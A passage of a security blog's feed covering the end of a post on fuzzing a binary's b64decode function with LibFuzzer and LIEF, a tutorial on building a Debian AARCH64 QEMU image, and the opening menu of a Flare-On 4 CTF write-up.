&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; clang-6.0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -O1 -g&lt;&#x2F;span&gt;&lt;span&gt;  loader.cpp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -no-pie -o&lt;&#x2F;span&gt;&lt;span&gt; runner&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -ldl
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span&gt; hello world | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;base64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;aGVsbG8gd29ybGQ&lt;&#x2F;span&gt;&lt;span&gt;=
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; LD_PRELOAD=&#x2F;usr&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libasan.so.4.0.0 .&#x2F;runner aGVsbG8gd29ybGQ=
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0x7f06885d50bd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;() returned 11, result -&amp;gt; &amp;#39;hello world&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That works! And we can thank only LIEF for that, by making the instrumention of
arbitrary functions a child game.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fuzz-da-planet&quot;&gt;Fuzz da planet!&lt;&#x2F;h3&gt;
&lt;p&gt;We can now use this skeleton to build a LibFuzzer-based fuzzer around this:&lt;&#x2F;p&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;3ef3e4309d1f102aa4318c09b4043b09.js&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;Compile it, run it, and be amazed 😎 :&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; clang-6.0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -DUSE_LIBFUZZER -O1 -g -fsanitize&lt;&#x2F;span&gt;&lt;span&gt;=fuzzer loader.cpp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -no-pie -o&lt;&#x2F;span&gt;&lt;span&gt; fuzzer&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -ldl
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; LD_PRELOAD=&#x2F;usr&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libasan.so.4.0.0 .&#x2F;fuzzer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INFO:&lt;&#x2F;span&gt;&lt;span&gt; Loaded 1 modules   (11 inline 8-bit counters)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; 11 [0x67d020, 0x67d02b)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INFO:&lt;&#x2F;span&gt;&lt;span&gt; Loaded 1 PC tables (11 PCs)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; 11 [0x46c250,0x46c300)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INFO: -max_len&lt;&#x2F;span&gt;&lt;span&gt; is not provided; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;libFuzzer&lt;&#x2F;span&gt;&lt;span&gt; will not generate inputs larger than 4096 bytes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INFO:&lt;&#x2F;span&gt;&lt;span&gt; A corpus is not provided, starting from an empty corpus
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#2      INITED cov: 3 ft: 3 corp: 1&#x2F;1b exec&#x2F;s: 0 rss: 42Mb
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#11     NEW    cov: 4 ft: 4 corp: 2&#x2F;3b exec&#x2F;s: 0 rss: 43Mb L: 2&#x2F;2 MS: 4 ShuffleBytes-ChangeBit-InsertByte-ChangeBinInt-
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We’re running more than 1 million executions&#x2F;second&#x2F;core on the function
&lt;code&gt;b64decode&lt;&#x2F;code&gt;, not bad eh?&lt;&#x2F;p&gt;
&lt;p&gt;And in less than a 1 second, we get the heap overflow found by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;mehqq_&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@mehqq_&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
, CVE-2018-6789:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;libfuzzer-lief&amp;#x2F;fuzz-result.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;libfuzzer-lief&amp;#x2F;fuzz-result.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: Earlier this week, I was notified by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;mehqq_&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@mehqq_&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 that this is OOB read is a different bug. I will post an update soon showcasing the actual bug instead. My bad for the confusion.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;final-words&quot;&gt;Final words&lt;&#x2F;h1&gt;
&lt;p&gt;Although this technique is not as click-and-play like AFL since it requires a bit more work, it offers non-negligible pros:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;excellent reliability, makes easy for fuzzing network services → focus on
parsing functions (no network stack to handle etc.). perfect for can focus on
specific points (packet parsing, message processing, etc.)&lt;&#x2F;li&gt;
&lt;li&gt;crazy performance: no need to spawn the whole binary&lt;&#x2F;li&gt;
&lt;li&gt;there is actually no need for the source code, we can use LibFuzzer on
black-box binaries&lt;&#x2F;li&gt;
&lt;li&gt;low hardware requirements allow to fuzz at very high rate even on weak
hardware (and transform your RaspberryPis into a fuzzing cluster 😎)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;But nothing ever being perfect, there are obviously also cons:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;need to code almost every fuzzer (so only for C&#x2F;C++ coding people)&lt;&#x2F;li&gt;
&lt;li&gt;specific edge cases you might need to consider (beware of memory leaks!!)&lt;&#x2F;li&gt;
&lt;li&gt;we must determine the function prototype. This is easy when the source code
is open (FOSS projects), but black-box binaries may require some prior
reversing. Tools like &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;binary.ninja&quot;&gt;Binary Ninja&lt;&#x2F;a&gt; Commercial
License may also be of great help for automating this task.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;All in all, it is a pretty neat approach made possible through 2 awesome tools. I do hope LIEF development keeps being active to bring us more goodies like this!&lt;&#x2F;p&gt;
&lt;p&gt;Thanks for reading 😁 !&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Building a Debian Stretch QEMU image for AARCH64</title>
        <published>2018-01-07T00:00:00+00:00</published>
        <updated>2018-01-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2018-01-07-building-a-debian-stretch-qemu-image-for-aarch64/"/>
        <id>https://blahcat.github.io/2018-01-07-building-a-debian-stretch-qemu-image-for-aarch64/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2018-01-07-building-a-debian-stretch-qemu-image-for-aarch64/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;After &lt;a href=&quot;&#x2F;posts&#x2F;2017&#x2F;06&#x2F;25&#x2F;qemu-images-to-play-with.html&quot;&gt;releasing my QEMU
images&lt;&#x2F;a&gt; and then publishing a post on &lt;a href=&quot;&#x2F;posts&#x2F;2017&#x2F;07&#x2F;14&#x2F;building-a-debian-stretch-qemu-image-for-mipsel.html&quot;&gt;how to build a QEMU image for Debian MIPSel&lt;&#x2F;a&gt;, I still received many demands for information on building more VMs, and among those, the most popular one was AARCH64 (or ARM64).&lt;&#x2F;p&gt;
&lt;p&gt;If you’re just interested in downloading the ready-to-use AARCH64 image, just go to the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;Mega&lt;&#x2F;a&gt; repository.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pre-requisite&quot;&gt;Pre-requisite&lt;&#x2F;h2&gt;
&lt;p&gt;Just like &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;posts&#x2F;2017&#x2F;07&#x2F;14&#x2F;building-a-debian-stretch-qemu-image-for-mipsel.html&quot;&gt;we did earlier in the former post&lt;&#x2F;a&gt;, we will proceed with the Debian Net Installer, so you will require:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;an Internet connection&lt;&#x2F;li&gt;
&lt;li&gt;a recent QEMU (generally &lt;code&gt;{apt,dnf} install qemu&lt;&#x2F;code&gt; will suffice)&lt;&#x2F;li&gt;
&lt;li&gt;the initrd of the Debian installer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; wget http:&#x2F;&#x2F;ftp.debian.org&#x2F;debian&#x2F;dists&#x2F;Debian9.13&#x2F;main&#x2F;installer-arm64&#x2F;current&#x2F;images&#x2F;netboot&#x2F;debian-installer&#x2F;arm64&#x2F;initrd.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;the kernel to boot on for the installation:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; wget http:&#x2F;&#x2F;ftp.debian.org&#x2F;debian&#x2F;dists&#x2F;Debian9.13&#x2F;main&#x2F;installer-arm64&#x2F;current&#x2F;images&#x2F;netboot&#x2F;debian-installer&#x2F;arm64&#x2F;linux
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You also need a hard drive to install the OS on:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-img create&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; qcow2 disk.qcow2 20G
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;installation-steps&quot;&gt;Installation steps&lt;&#x2F;h2&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;since most steps are similar with the ones described in the post before, I’ll simply show the commands I’ve used so they can be copy&#x2F;pasted for reproduction.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;Start with running the installer (with 2 vCPUs and 1GB Ram):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-system-aarch64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -smp&lt;&#x2F;span&gt;&lt;span&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; virt&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -cpu&lt;&#x2F;span&gt;&lt;span&gt; cortex-a57&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 1G \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -initrd&lt;&#x2F;span&gt;&lt;span&gt; initrd.gz \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -kernel&lt;&#x2F;span&gt;&lt;span&gt; linux&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;root=&#x2F;dev&#x2F;ram console=ttyAMA0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -global&lt;&#x2F;span&gt;&lt;span&gt; virtio-blk-device.scsi=off \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -device&lt;&#x2F;span&gt;&lt;span&gt; virtio-scsi-device,id=scsi \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -drive&lt;&#x2F;span&gt;&lt;span&gt; file=disk.qcow2,id=rootimg,cache=unsafe,if=none \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -device&lt;&#x2F;span&gt;&lt;span&gt; scsi-hd,drive=rootimg \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -netdev&lt;&#x2F;span&gt;&lt;span&gt; user,id=unet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -device&lt;&#x2F;span&gt;&lt;span&gt; virtio-net-device,netdev=unet \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -net&lt;&#x2F;span&gt;&lt;span&gt; user \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;PAExOmJ.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;PAExOmJ.png&quot;

    

    
    title=&quot;1.debian.installer.png&quot;
    alt=&quot;1.debian.installer.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Then, go grab a coffee while the installer does its magic:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;1Mgoscl.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;1Mgoscl.png&quot;

    

    
    title=&quot;2.debian.installer.png&quot;
    alt=&quot;2.debian.installer.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;And finally:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;IfvQpTC.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;IfvQpTC.png&quot;

    

    
    title=&quot;3.debian.installer.png&quot;
    alt=&quot;3.debian.installer.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Now we must shutdown the VM, and extract the initrd and kernel from the image, as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo apt install nbd-client
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo modprobe nbd max_part=8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo qemu-nbd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --connect&lt;&#x2F;span&gt;&lt;span&gt;=&#x2F;dev&#x2F;nbd0 disk.qcow2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; mkdir mnt
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo mount &#x2F;dev&#x2F;nbd0p1 mnt
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cp mnt&#x2F;initrd.img-4.9.0-4-arm64 mnt&#x2F;vmlinuz-4.9.0-4-arm64 .
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sync
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo umount &#x2F;dev&#x2F;nbd0p1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo nbd-client&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -d&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;nbd0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And run your VM with the kernel and initrd copied from installer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-system-aarch64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -smp&lt;&#x2F;span&gt;&lt;span&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; virt&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -cpu&lt;&#x2F;span&gt;&lt;span&gt; cortex-a57&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 1G \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -initrd&lt;&#x2F;span&gt;&lt;span&gt; initrd.img-4.9.0-4-arm64 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -kernel&lt;&#x2F;span&gt;&lt;span&gt; vmlinuz-4.9.0-4-arm64 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;root=&#x2F;dev&#x2F;sda2 console=ttyAMA0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -global&lt;&#x2F;span&gt;&lt;span&gt; virtio-blk-device.scsi=off \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -device&lt;&#x2F;span&gt;&lt;span&gt; virtio-scsi-device,id=scsi \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -drive&lt;&#x2F;span&gt;&lt;span&gt; file=disk.qcow2,id=rootimg,cache=unsafe,if=none \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -device&lt;&#x2F;span&gt;&lt;span&gt; scsi-hd,drive=rootimg \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -device&lt;&#x2F;span&gt;&lt;span&gt; e1000,netdev=net0 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -net&lt;&#x2F;span&gt;&lt;span&gt; nic \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -netdev&lt;&#x2F;span&gt;&lt;span&gt; user,hostfwd=tcp:127.0.0.1:2222-:22,id=net0 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;    -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And that’s it!&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;519SOdy.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;519SOdy.png&quot;

    

    
    title=&quot;4.debian.installer.png&quot;
    alt=&quot;4.debian.installer.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The ready-to-use image (with gcc, gdb, gef, etc.) is available &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Adios ☕&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>FlareOn 4 WriteUps</title>
        <published>2017-10-13T00:00:00+00:00</published>
        <updated>2017-10-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-10-13-flareon-4-writeups/"/>
        <id>https://blahcat.github.io/2017-10-13-flareon-4-writeups/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-10-13-flareon-4-writeups/">&lt;p&gt;This year, I happened to finally have a chance to be in a good position to play
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;flare-on.com&quot;&gt;Flare-On CTF&lt;&#x2F;a&gt;, a yearly CTF published by &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20170831191227&#x2F;https:&#x2F;&#x2F;www.fireeye.com&#x2F;blog&#x2F;threat-research&#x2F;2017&#x2F;08&#x2F;fourth-annual-flare-on-challenge.html&quot;&gt;FireEye&lt;&#x2F;a&gt;. This
year’s edition offered 12 reverse-engineering challenges to solve in 6 weeks.&lt;&#x2F;p&gt;
&lt;p&gt;This post is mostly a dump of the notes taken during all the challenges. Link to
challenges and scripts are also given.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;menu&quot;&gt;Menu&lt;&#x2F;h1&gt;
&lt;p&gt;For quick jump:&lt;&#x2F;p&gt;
&lt;p&gt;| &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-1&quot;&gt;Level1&lt;&#x2F;a&gt;   | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-2&quot;&gt;Level2&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-3&quot;&gt;Level3&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-4&quot;&gt;Level4&lt;&#x2F;a&gt;  |
| &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-5&quot;&gt;Level5&lt;&#x2F;a&gt;   | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-6&quot;&gt;Level6&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-7&quot;&gt;Level7&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-8&quot;&gt;Level8&lt;&#x2F;a&gt;  |
